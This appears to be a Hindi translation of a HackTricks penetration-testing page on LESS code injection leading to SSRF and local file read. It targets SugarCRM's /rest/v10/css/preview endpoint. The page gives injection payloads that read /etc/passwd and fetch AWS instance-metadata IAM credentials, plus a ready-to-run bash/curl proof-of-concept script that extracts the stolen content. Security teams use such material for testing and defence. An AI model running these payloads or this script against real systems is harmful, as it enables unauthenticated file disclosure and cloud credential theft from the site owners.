SSRF कमजोर प्लेटफ़ॉर्म

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

देखें https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

LESS Code Injection leading to SSRF & Local File Read

LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। कंपाइलेशन के दौरान LESS engine @import में संदर्भित संसाधनों को प्राप्त करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनकी सामग्री को resulting CSS में embed ("inline") कर देगा।

जब कोई application किसी string में user-controlled input को जोड़ता है जो बाद में LESS compiler द्वारा parse की जाती है, तो एक attacker inject arbitrary LESS code कर सकता है। @import (inline) का दुरुपयोग करके attacker सर्वर को निम्नलिखित प्राप्त करने के लिए मजबूर कर सकता है:

  • Local files via the file:// protocol (information disclosure / Local File Inclusion).
  • आंतरिक नेटवर्क या cloud metadata services पर रिमोट resources (SSRF).

यह तकनीक वास्तविक उत्पादों में देखी जा चुकी है, जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

  1. ऐसा parameter पहचानें जो सीधे stylesheet string में embed किया गया हो और जिसे LESS engine द्वारा process किया जाता है (उदा. SugarCRM में ?lm=)।
  2. वर्तमान statement को बंद करें और नए directives इंजेक्ट करें। सबसे आम primitives हैं:
  • ; – पिछले declaration को समाप्त करता है।
  • } – पिछले block को बंद करता है (यदि आवश्यक हो)।
  1. मनमाने resources पढ़ने के लिए @import (inline) '<URL>'; का उपयोग करें।
  2. वैकल्पिक रूप से import के बाद marker (data: URI) इंजेक्ट करें ताकि compiled CSS से प्राप्त सामग्री को निकालना आसान हो।

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd की सामग्री HTTP response में @@END@@ marker से ठीक पहले दिखाई देगी।

SSRF – क्लाउड मेटाडेटा

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

स्वचालित PoC (SugarCRM उदाहरण)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

वास्तविक दुनिया के मामलों

उत्पादअसुरक्षित एंडपॉइंटप्रभाव
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=बिना प्रमाणीकरण के SSRF और स्थानीय फ़ाइल पढ़ना

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें